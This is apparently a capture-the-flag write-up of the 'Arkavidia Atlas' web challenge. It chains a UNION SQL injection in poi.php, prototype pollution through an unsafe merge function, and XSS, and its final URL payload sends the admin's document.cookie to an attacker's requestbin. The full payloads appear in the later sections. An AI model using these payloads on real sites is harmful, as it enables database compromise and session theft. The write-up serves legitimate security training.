Chall Description
Initial Foothold
When first visit the webpage, we get this view of some sort of maps :
There is something interesting on the source page and on the JS files :
view-source:slave2.ctf.arkavidia.id:10021
<!doctype html>
<html>
<head>
<title>Arkavidia Atlas</title>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link href="tailwind.css" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.7.1/dist/leaflet.css" integrity="sha512-xodZBNTC5n17Xt2atTPuE1HxjVMSvLVW9ocqUKLsCC5CXdbqCmblAshOMAS6/keqq/sMZMZ19scR4PsZChSR7A==" crossorigin="" />
<script src="https://unpkg.com/leaflet@1.7.1/dist/leaflet.js" integrity="sha512-XQoYMqMTK8LvdxXYG3nZ448hOEQiglfqkJs1NOQV44cWnUrBc8PkAOcXy20w0vlaXaVUearIOBhiXZ5V3ynxwA==" crossorigin=""></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/leaflet.markercluster.js" integrity="sha512-MQlyPV+ol2lp4KodaU/Xmrn+txc1TP15pOBF/2Sfre7MRsA/pB4Vy58bEqe9u7a7DczMLtU5wT8n7OblJepKbg==" crossorigin="anonymous"></script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
<script src="atlas.js" type="text/javascript"></script>
</head>
<body>
<div id="map" class="w-full h-full absolute" style="z-index: -1"></div>
<div class="bg-white shadow-lg w-full max-w-md absolute m-4 rounded-sm">
<div class="p-3">
<h1 class="text-2xl">Arkavidia Atlas</h1>
</div>
<div id="inst" class="p-3 border-t">
<p>Click on a pin to see the location details</p>
</div>
<div id="details" class="hidden border-t">
<img id="poi-preview" width="100%" class="mb-2" />
<div class="p-3">
<h3 class="text-xl" id="poi-title"></h3>
<p id="poi-desc" class="mt-2 text-gray-500"></p>
<div class="mt-3">
<span class="text-red-500 text-xs cursor-pointer" id="close-btn">✕ Close Details</span>
</div>
</div>
</div>
</div>
<form id="reportform" action="report.php" method="post">
<input type="hidden" name="hash" id="report-url" />
</form>
</body>
<script type="text/javascript" src="app.js"></script>
</html>
view-source:slave2.ctf.arkavidia.id:10021/atlas.js
const isObject = (obj) => typeof obj === "object";
function merge(dest, src) {
for (let attr in src) {
if (isObject(src[attr])) {
if (!dest[attr]) dest[attr] = {};
merge(dest[attr], src[attr]);
} else {
dest[attr] = src[attr];
}
}
return dest;
}
function parseHash(hash) {
if (!hash) return {};
let parts = hash.split("&");
let out = {};
for (let part in parts) {
let sect = parts[part].split("=");
let key = sect[0];
let val = decodeURIComponent(sect[1]);
merge(out, { [key]: val });
}
return out;
}
function setHashParams(newParams) {
hashParams = merge(hashParams, newParams);
let attrStrings = [];
for (let attr in hashParams) {
attrStrings.push(attr + "=" + encodeURIComponent(hashParams[attr]));
}
window.location.href = "#" + attrStrings.join("&");
}
var hash = window.location.hash.substring(1);
var hashParams = parseHash(hash);
view-source:slave2.ctf.arkavidia.id:10021/app.js
var lat = -6.8905652;
var long = 107.6101062;
var zoom = 17;
window.onhashchange = function () {
let hash = window.location.hash.substring(1);
hashParams = parseHash(hash);
let openedId = hashParams.o;
openDetails(openedId);
};
if (hashParams.c) {
lat = hashParams["c.lat"];
long = hashParams["c.lon"];
}
if (hashParams.z) {
zoom = hashParams.z;
}
var points = {};
function openDetails(id) {
let point = points[id];
if (point) {
$("#details").show();
$("#inst").hide();
$("#poi-title").text(point.name);
if (point.img_uri) {
$("#poi-preview").attr("src", point.img_uri).show();
} else {
$("#poi-preview").hide();
}
point.isHtml
? $("#poi-desc").html(point.description)
: $("#poi-desc").text(point.description);
} else {
$("#details").hide();
$("#inst").show();
}
}
function loadBounds(lngLb, latLb, lngUb, latUb) {
$.get(
"poi.php",
{ lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb },
function (data) {
markers.clearLayers();
points = {};
for (let key in data) {
let point = data[key];
merge(points, { [point.id]: point });
if (point.id === hashParams.o) {
openDetails(point.id);
}
let id = point.id;
L.marker([point.lat, point.lng])
.on("click", function () {
if (hashParams.o !== id) {
setHashParams({ o: id });
} else {
setHashParams({ o: "" });
}
})
.addTo(markers);
}
}
);
}
var map = L.map("map", { zoomControl: false, maxZoom: 18 }).setView(
[lat, long],
zoom
);
let markers = L.markerClusterGroup();
map.addLayer(markers);
map.on("moveend", function (e) {
let center = map.getCenter();
let zoom = map.getZoom();
let bounds = map.getBounds();
loadBounds(
bounds._southWest.lng,
bounds._southWest.lat,
bounds._northEast.lng,
bounds._northEast.lat
);
setHashParams({
"c.lat": center.lat,
"c.lon": center.lng,
z: zoom,
});
});
$("#close-btn").click(function () {
setHashParams({ o: "" });
});
function reportMap() {
$("#report-url").val(window.location.hash.substring(1));
$("#reportform").submit();
}
L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", {
attribution:
'© <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors | <a class="cursor-pointer" onclick="reportMap();">Report Map</a>',
}).addTo(map);
let bounds = map.getBounds();
let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng;
let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat;
let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng;
let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat;
loadBounds(lngLb, latLb, lngUb, latUb);
From all of the code above, we assume there should be a XSS technique involved on the solve step to get the flag. We get this assumption based on there is exist a form that we can report something to admin and there is exist an unsafe merge function that used on the JS code.
Finding the SQL Injection
On the app.js, there is a background request made to path /poi.php with some parameters. My teammate, Fadli, then found that there is SQLi on the GET param request. This is the example request and response from normal request :
Request | Response |
---|---|
GET /poi.php?lng_lb=107.604957818985&lat_lb=-6.891912527239271&lng_ub=107.61525750160219&lat_ub=-6.889223063179617 HTTP/1.1 Host: slave2.ctf.arkavidia.id:10021 User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: slave2.ctf.arkavidia.id:10021 Cache-Control: max-age=0 |
HTTP/1.1 200 OK Date: Sun, 28 Feb 2021 11:51:00 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.2.34 Content-Length: 846 Connection: close Content-Type: application/json |
From the normal request above, we know that the meta value could contain another JSON object, so we try to use JSON_OBJECT of the MySQL to select some JSON object on the meta value.
Request | Response |
---|---|
GET /poi.php?lng_lb=1&lat_lb=1&lng_ub=(select+108)+and+false+union+select+1,2,3,4,5,1,JSON_OBJECT('test',JSON_OBJECT('test2','asd'))+--+-&lat_ub=1 HTTP/1.1 Host: slave2.ctf.arkavidia.id:10021 User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: slave2.ctf.arkavidia.id:10021 |
HTTP/1.1 200 OK Date: Sun, 28 Feb 2021 12:02:26 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.2.34 Content-Length: 107 Connection: close Content-Type: application/json |
This SQLi will be used on building the payload for Prototype Pollution XSS.
Crafting Prototype Pollution
We know there is an unsafe merge function that can be used for Prototype Pollution. For the reference of what is Prototype Pollution ? Can be found here .
First, when the web loads, it will try to build hashParams object by using the value supplied on the location.hash.substring(1). Then the webpage will build some parameter and finally call function loadBounds :
let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng;
let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat;
let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng;
let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat;
loadBounds(lngLb, latLb, lngUb, latUb);
On the loadBounds function, there will be a GET request to /poi.php and the response data will be build to points object using unsafe merge function :
function loadBounds(lngLb, latLb, lngUb, latUb) {
$.get(
"poi.php",
{ lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb },
function (data) {
markers.clearLayers();
points = {};
for (let key in data) {
let point = data[key];
merge(points, { [point.id]: point });
if (point.id === hashParams.o) {
openDetails(point.id);
}
After that, there will be a call to function openDetails using the id received from the response :
function openDetails(id) {
let point = points[id];
if (point) {
$("#details").show();
$("#inst").hide();
$("#poi-title").text(point.name);
if (point.img_uri) {
$("#poi-preview").attr("src", point.img_uri).show();
} else {
$("#poi-preview").hide();
}
point.isHtml
? $("#poi-desc").html(point.description)
: $("#poi-desc").text(point.description);
} else {
$("#details").hide();
$("#inst").show();
}
}
Since we control the value on the points object (using SQLi before), we have an idea to inject XSS payload on the description value. But, there is one requirement, point object must have filled value isHtml on the object. But, like you see on the response, there is no isHtml value. Do you remember previously that we can inject JSON object on the meta response value ? Yes, we will use that to host our Prototype Pollution payload. Since the unsafe merge function works recursively, we could pollute the JS prototype by using this value on the meta response :
{"__proto__": {"isHtml": "true"}}
Above payload will pollute the JS prototype and add .isHtml value to all the object exist.
Combine the Vuln and Get the Flag
By combining the two vuln, we come up with this url payload :
http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'<script>alert(document.domain);</script>',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh
Visiting above url, we could get a working XSS :
After verify the working XSS, we then try to change the url payload to perform a request to our requestbin and try to leak the admin cookie (if there is any):
http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'%3Cimg%20src%3d%22https://<reqbin url>/?a%3d%22%2bdocument.cookie%3E',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh
Send it by trigger reportMap() function on the console after visiting above url, wait some time, and we receive connection from admin and the flag is located on the User-Agent :